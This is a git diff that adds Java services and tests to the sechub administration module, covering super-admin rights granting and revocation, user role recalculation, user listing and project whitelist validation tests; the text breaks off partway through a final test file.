a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java new file mode 100644 index 0000000000..c04bae1c4f --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserGrantSuperAdminRightsService.java @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorGrantsAdminRightsToUser; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserGrantSuperAdminRightsService { + + private static final Logger LOG = LoggerFactory.getLogger(UserGrantSuperAdminRightsService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + @Autowired + AuditLogService auditLogService; + + @Autowired + AdministrationEnvironment administrationEnvironment; + + /* @formatter:off */ + @Validated + @UseCaseAdministratorGrantsAdminRightsToUser( + @Step( + number = 2, + name = "Service grants user admin rights.", + next = { 3, 4 }, + description = "The service will grant user admin righs and triggers asynchronous events")) + /* @formatter:on */ + public void grantSuperAdminRightsFor(String userId) { + auditLogService.log("Triggered granting admin rights for user {}",userId); + + User user = userRepository.findOrFailUser(userId); + + if (user.isSuperAdmin()) { + LOG.info("User:{} was already a super administrator, so just ignored",userId); + return; + } + user.superAdmin=true; + userRepository.save(user); + + requestUserRoleRecalculaton(user); + informUserBecomesSuperadmin(user); + + } + + @IsSendingAsyncMessage(MessageID.USER_BECOMES_SUPERADMIN) + private void informUserBecomesSuperadmin(User user) { + eventBusService.sendAsynchron(DomainMessageFactory.createUserBecomesSuperAdmin(user.getName(), user.getEmailAdress(),administrationEnvironment.getAdministrationBaseURL())); + } + + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void requestUserRoleRecalculaton(User user) { + eventBusService.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(user.getName())); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserListService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserListService.java new file mode 100644 index 0000000000..7a5e223f3e --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserListService.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.List; +import java.util.stream.Collectors; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Example; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllAdmins; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllUsers; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserListService { + + @Autowired + UserRepository userRepository; + + /* @formatter:off */ + @UseCaseAdministratorListsAllUsers(@Step(number=2,name="Service call",description="All userids of sechub users are returned as json")) + public List listUsers() { + /* @formatter:on */ + return userRepository.findAll().stream().map(User::getName).collect(Collectors.toList()); + } + + /* @formatter:off */ + @UseCaseAdministratorListsAllAdmins(@Step(number=2,name="Service call",description="All userids of sechub administrators are returned as json")) + public List listAdministrators() { + /* @formatter:on */ + User userExample = new User(); + userExample.superAdmin=true; + return userRepository.findAll(Example.of(userExample)).stream().map(User::getName).collect(Collectors.toList()); + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRepository.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRepository.java new file mode 100644 index 0000000000..f8ba85adcb --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRepository.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Optional; + +import org.springframework.data.jpa.repository.JpaRepository; + +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +public interface UserRepository extends JpaRepository{ + + Optional findByOneTimeToken(String oneTimeToken); + + public default User findOrFailUser(String userId) { + Optional foundUser = findById(userId); + if (! foundUser.isPresent()) { + throw new NotFoundException("User '" + userId + "' not found!"); + } + return foundUser.get(); + } + + Optional findByEmailAdress(String emailAdress); +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java new file mode 100644 index 0000000000..2e90632ac8 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsService.java @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Example; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorRevokesAdminRightsFromAdmin; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserRevokeSuperAdminRightsService { + + private static final Logger LOG = LoggerFactory.getLogger(UserRevokeSuperAdminRightsService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + @Autowired + AuditLogService auditLogService; + + @Autowired + AdministrationEnvironment administrationEnvironment; + + /* @formatter:off */ + @Validated + @UseCaseAdministratorRevokesAdminRightsFromAdmin( + @Step( + number = 2, + name = "Service revokes user admin rights.", + next = { 3, 4 }, + description = "The service will revoke user admin righs and triggers asynchronous events")) + /* @formatter:on */ + public void revokeSuperAdminRightsFrom(String userId) { + auditLogService.log("Triggered revoking admin rights from user {}",userId); + + + User user = userRepository.findOrFailUser(userId); + + if (!user.isSuperAdmin()) { + LOG.info("User:{} was already no super administrator, so just ignored",userId); + return; + } + assertNotLastSuperAdmin(); + + user.superAdmin=false; + userRepository.save(user); + + requestUserRoleRecalculaton(user); + informUserNoLongerSuperadmin(user); + + } + + private void assertNotLastSuperAdmin() { + User exampleUser = new User(); + exampleUser.superAdmin = true; + long count = userRepository.count(Example.of(exampleUser)); + if (count<2) { + throw new NotAcceptableException("Would be last super admin. So cannot revoke admin rights!"); + } + } + + @IsSendingAsyncMessage(MessageID.USER_NO_LONGER_SUPERADMIN) + private void informUserNoLongerSuperadmin(User user) { + eventBusService.sendAsynchron(DomainMessageFactory.createUserNoLongerSuperAdmin(user.getName(), user.getEmailAdress(), administrationEnvironment.getAdministrationBaseURL())); + } + + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void requestUserRoleRecalculaton(User user) { + eventBusService.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(user.getName())); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleAdministrationMessageHandler.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleAdministrationMessageHandler.java new file mode 100644 index 0000000000..aec0fa1dcd --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleAdministrationMessageHandler.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Component +public class UserRoleAdministrationMessageHandler implements AsynchronMessageHandler{ + + private static final Logger LOG = LoggerFactory.getLogger(UserRoleAdministrationMessageHandler.class); + + @Autowired + @Lazy + UserRoleCalculationService userRoleCalculationService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + LOG.debug("received domain request: {}", request); + + switch (messageId) { + case REQUEST_USER_ROLE_RECALCULATION : + handleRoleRecalculationRequest(request); + break; + default: + throw new IllegalStateException("unhandled message id:"+messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void handleRoleRecalculationRequest(DomainMessage request) { + UserMessage message = request.get(MessageDataKeys.USER_ID_DATA); + String userId = message.getUserId(); + + userRoleCalculationService.recalculateRolesOfUser(userId); + } + + + + + + + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleCalculationService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleCalculationService.java new file mode 100644 index 0000000000..5256d8112d --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserRoleCalculationService.java @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.LinkedHashSet; +import java.util.Set; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Service +public class UserRoleCalculationService { + + @Autowired + DomainMessageService eventBus; + + @Autowired + UserRepository userRepository; + + public void recalculateRolesOfUser(String userId) { + User user = userRepository.findOrFailUser(userId); + + boolean active = ! user.isDeactivated(); + + boolean isUser = active; + boolean isOwner = active && !user.getOwnedProjects().isEmpty(); + boolean isAdmin = active && user.isSuperAdmin(); + + Set roles = new LinkedHashSet<>(); + if (isAdmin){ + roles.add(RoleConstants.ROLE_SUPERADMIN); + } + if (isOwner){ + roles.add(RoleConstants.ROLE_OWNER); + } + if (isUser){ + roles.add(RoleConstants.ROLE_USER); + } + sendUserRoleChangedEvent(user, roles); + } + + @IsSendingAsyncMessage(MessageID.USER_ROLES_CHANGED) + private void sendUserRoleChangedEvent(User user, Set roles) { + DomainMessage roleChangeRequest = new DomainMessage(MessageID.USER_ROLES_CHANGED); + UserMessage rolesData = new UserMessage(); + rolesData.setUserId(user.getName()); + rolesData.setRoles(roles); + roleChangeRequest.set(MessageDataKeys.USER_ROLES_DATA, rolesData); + eventBus.sendAsynchron(roleChangeRequest); + } +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidatorTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidatorTest.java new file mode 100644 index 0000000000..48a284991a --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidatorTest.java @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.validation.Errors; + +public class CreateProjectInputValidatorTest { + + + private CreateProjectInputValidator validatorToTest; + private ProjectJsonInputValidation validation; + private Errors errors; + private ProjectJsonInput input; + + @Before + public void before() throws Exception { + input = mock(ProjectJsonInput.class); + validatorToTest = new CreateProjectInputValidator(); + validation=mock(ProjectJsonInputValidation.class); + when(validation.asInput(input)).thenReturn(input); + + errors=mock(Errors.class); + + validatorToTest.validation=validation; + } + + + @Test + public void checkOwnerUserId_is_called_on_validation() { + /* execute */ + validatorToTest.validate(input, errors); + + /* test */ + verify(validation).checkOwnerUserId(errors, input); + } + + @Test + public void checkApiVersion_is_called_on_validation() { + /* execute */ + validatorToTest.validate(input, errors); + + /* test */ + verify(validation).checkApiVersion(errors, input); + } + + @Test + public void checkProjectId_is_called_on_validation() { + /* execute */ + validatorToTest.validate(input, errors); + + /* test */ + verify(validation).checkProjectId(errors, input); + } + + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestControllerMockTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestControllerMockTest.java new file mode 100644 index 0000000000..017bdf1986 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestControllerMockTest.java @@ -0,0 +1,171 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +//import static org.hamcrest.CoreMatchers.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashSet; +import java.util.List; + +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.validation.Errors; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectAdministrationRestController.class) +@ContextConfiguration(classes = { ProjectAdministrationRestController.class, + ProjectAdministrationRestControllerMockTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +public class ProjectAdministrationRestControllerMockTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + ProjectCreationService creationService; + + @MockBean + ProjectAssignUserService assignUserService; + + @MockBean + ProjectDeleteService projectDeleteService; + + @MockBean + ProjectUnassignUserService unassignUserService; + + @MockBean + ProjectDetailInformationService detailService; + + @MockBean + ProjectRepository mockedProjectRepository; + + @MockBean + CreateProjectInputValidator createProjectInputvalidator; + + @Before + public void before() { + when(createProjectInputvalidator.supports(ProjectJsonInput.class)).thenReturn(true); + } + + @Test + public void when_admin_tries_to_list_all_projects_all_2_projects_from_repo_are_returned_in_string_array() throws Exception { + /* prepare */ + List list = new ArrayList<>(); + Project project1 = new Project(); + project1.id="project1"; + Project project2 = new Project(); + project2.id="project2"; + list.add(project1); + list.add(project2); + when(mockedProjectRepository.findAll()).thenReturn(list); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsProjectsUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(jsonPath("$.[0]", CoreMatchers.equalTo("project1"))). + andExpect(jsonPath("$.[1]", CoreMatchers.equalTo("project2")) + ); + + /* @formatter:on */ + } + + @Test + public void when_validator_marks_no_errors___calling_create_project_url_calls_create_service_and_returns_http_200() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminCreatesProjectUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + + content("{\"name\":\"projectId1\",\"description\":\"description1\",\"owner\":\"ownerName1\",\"whiteList\":{\"uris\":[\"192.168.1.1\",\"192.168.1.2\"]}}") + )./*andDo(print()).*/ + andExpect(status().isCreated() + ); + + verify(creationService). + createProject("projectId1","description1","ownerName1", new LinkedHashSet<>(Arrays.asList(new URI("192.168.1.1"), new URI("192.168.1.2")))); + /* @formatter:on */ + } + + @Test + public void when_validator_marks_errors___calling_create_project_url_never_calls_create_service_but_returns_http_400() throws Exception { + /* prepare */ + doAnswer(new Answer() { + public Void answer(InvocationOnMock invocation) { + Errors errors = invocation.getArgument(1); + errors.reject("testerror"); + return null; + } + }).when(createProjectInputvalidator).validate(any(ProjectJsonInput.class), any(Errors.class)); + + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminCreatesProjectUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + + + verifyZeroInteractions(creationService); + /* @formatter:on */ + } + + @Test + public void delete_project_calls_delete_service() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminDeletesProject(PROJECT_ID.pathElement()),"projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()); + + /* @formatter:on */ + verify(projectDeleteService).deletProject("projectId1"); + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputTestMain.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputTestMain.java new file mode 100644 index 0000000000..6f317f37be --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputTestMain.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.Optional; + +import com.daimler.sechub.domain.administration.project.ProjectJsonInput.ProjectWhiteList; + +public class ProjectJsonInputTestMain { + public static void main(String[] args) { + ProjectJsonInput input = new ProjectJsonInput(); + input.setApiVersion("1.0"); + input.setDescription("description"); + ProjectWhiteList list = new ProjectWhiteList(); + list.getUris().add(URI.create("https://localhost/test")); + Optional whitelist = Optional.of(list); + input.setWhiteList(whitelist); + + System.out.println(input.toJSON()); + } +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidationTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidationTest.java new file mode 100644 index 0000000000..b22d97ae75 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidationTest.java @@ -0,0 +1,158 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.validation.Errors; + +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidation; +import com.daimler.sechub.sharedkernel.validation.ProjectIdValidation; +import com.daimler.sechub.sharedkernel.validation.UserIdValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +public class ProjectJsonInputValidationTest { + + private ProjectJsonInputValidation toTest; + private ProjectJsonInput input; + private Errors errors; + private ApiVersionValidation apiValidation; + private ProjectIdValidation projectIdValidation; + private UserIdValidation userIdValidation; + private ValidationResult okResult; + private ValidationResult failedResult; + + @Before + public void before() throws Exception { + + apiValidation= mock(ApiVersionValidation.class); + projectIdValidation=mock(ProjectIdValidation.class); + userIdValidation=mock(UserIdValidation.class); + + toTest = new ProjectJsonInputValidation(); + toTest.apiValidation=apiValidation; + toTest.projectIdValidation=projectIdValidation; + toTest.userIdValidation=userIdValidation; + + input = mock(ProjectJsonInput.class); + errors = mock(Errors.class); + + okResult = mock(ValidationResult.class); + when(okResult.isValid()).thenReturn(true); + + failedResult = mock(ValidationResult.class); + when(failedResult.isValid()).thenReturn(false); + } + + @Test + public void asInput_returns_object() { + assertEquals(input, toTest.asInput(input)); + } + + @Test + public void when_useridvaluation_invalid_api_error() { + /* prepare */ + when(userIdValidation.validate(any())).thenReturn(failedResult); + + /* execute */ + toTest.checkOwnerUserId(errors, input); + + /* test */ + verify(errors).rejectValue(eq(ProjectJsonInput.PROPERTY_OWNER), eq("api.error.userid.invalid"), any()); + } + + @Test + public void when_useridvaluation_valid_no_api_error() { + /* prepare */ + when(userIdValidation.validate(any())).thenReturn(okResult); + + /* execute */ + toTest.checkOwnerUserId(errors, input); + + /* test */ + verify(errors,never()).rejectValue(eq(ProjectJsonInput.PROPERTY_OWNER), eq("api.error.userid.invalid"), any()); + } + + @Test + public void when_projectidvaluation_invalid_api_error() { + /* prepare */ + when(projectIdValidation.validate(any())).thenReturn(failedResult); + + /* execute */ + toTest.checkProjectId(errors, input); + + /* test */ + verify(errors).rejectValue(eq(ProjectJsonInput.PROPERTY_NAME), eq("api.error.projectid.invalid"), any()); + } + + @Test + public void when_projectidvaluation_valid_no_api_error() { + /* prepare */ + when(projectIdValidation.validate(any())).thenReturn(okResult); + + /* execute */ + toTest.checkProjectId(errors, input); + + /* test */ + verify(errors,never()).rejectValue(eq(ProjectJsonInput.PROPERTY_NAME), eq("api.error.projectid.invalid"), any()); + } + + @Test + public void when_apivalidation_invalid_api_error() { + /* prepare */ + when(input.getApiVersion()).thenReturn("x"); + when(apiValidation.validate(any())).thenReturn(failedResult); + + /* execute */ + toTest.checkApiVersion(errors, input); + + /* test */ + verify(errors).rejectValue(eq(ProjectJsonInput.PROPERTY_API_VERSION), eq("api.error.unsupported.version"), any()); + } + + @Test + public void when_apivalidation_null_required_field_api_error() { + /* prepare */ + when(input.getApiVersion()).thenReturn(null); + when(apiValidation.validate(any())).thenReturn(okResult); + + /* execute */ + toTest.checkApiVersion(errors, input); + + /* test */ + verify(errors).rejectValue(eq(ProjectJsonInput.PROPERTY_API_VERSION), eq("field.required"), any(),any()); + } + + @Test + public void when_apivalidation_empty_required_field_api_error() { + /* prepare */ + when(input.getApiVersion()).thenReturn(""); + when(apiValidation.validate(any())).thenReturn(okResult); + + /* execute */ + toTest.checkApiVersion(errors, input); + + /* test */ + verify(errors).rejectValue(eq(ProjectJsonInput.PROPERTY_API_VERSION), eq("field.required"), any(),any()); + } + + @Test + public void when_apivalidation_valid_no_api_error() { + /* prepare */ + when(apiValidation.validate(any())).thenReturn(okResult); + + /* execute */ + toTest.checkApiVersion(errors, input); + + /* test */ + verify(errors,never()).rejectValue(eq(ProjectJsonInput.PROPERTY_NAME), eq("api.error.projectid.invalid"), any()); + verify(errors,never()).rejectValue(eq(ProjectJsonInput.PROPERTY_API_VERSION), any(), any()); + } + + + + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestControllerMockTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestControllerMockTest.java new file mode 100644 index 0000000000..0ccb9fd5e0 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestControllerMockTest.java @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.net.URI; +import java.util.Arrays; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.validation.Errors; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectUpdateAdministrationRestController.class) +@ContextConfiguration(classes = { ProjectUpdateAdministrationRestController.class, + ProjectUpdateAdministrationRestControllerMockTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +public class ProjectUpdateAdministrationRestControllerMockTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + ProjectUpdateWhitelistService mockedProjectUpdateWhiteListService; + + @MockBean + UpdateProjectInputValidator mockedValidator; + + @MockBean + ProjectRepository mockedProjectRepository; + + @Before + public void before() { + when(mockedValidator.supports(ProjectJsonInput.class)).thenReturn(true); + } + + @Test + public void when_validator_marks_no_errors___calling_update_project_url_calls_update_service_and_returns_http_200() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUpdateProjectWhiteListUrl("projectId1")). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"whiteList\":{\"uris\":[\"192.168.1.1\",\"192.168.1.2\"]}}") + )./*andDo(print()).*/ + andExpect(status().isOk() + ); + + verify(mockedProjectUpdateWhiteListService). + updateProjectWhitelist("projectId1", + Arrays.asList(new URI("192.168.1.1"), new URI("192.168.1.2"))); + /* @formatter:on */ + } + + @Test + public void when_validator_marks_errors___calling_update_project_url_never_calls_update_service_but_returns_http_400() throws Exception { + /* prepare */ + doAnswer(new Answer() { + public Void answer(InvocationOnMock invocation) { + Errors errors = invocation.getArgument(1); + errors.reject("testerror"); + return null; + } + }).when(mockedValidator).validate(any(ProjectJsonInput.class), any(Errors.class)); + + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUpdateProjectWhiteListUrl("projectId1")). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"whiteList\":{\"uris\":[\"192.168.1.1\",\"192.168.1.2\"]}}") + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + + + verifyZeroInteractions(mockedProjectUpdateWhiteListService); + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistServiceTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistServiceTest.java new file mode 100644 index 0000000000..d07ae23730 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistServiceTest.java @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Optional; +import java.util.Set; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; + +public class ProjectUpdateWhitelistServiceTest { + + private 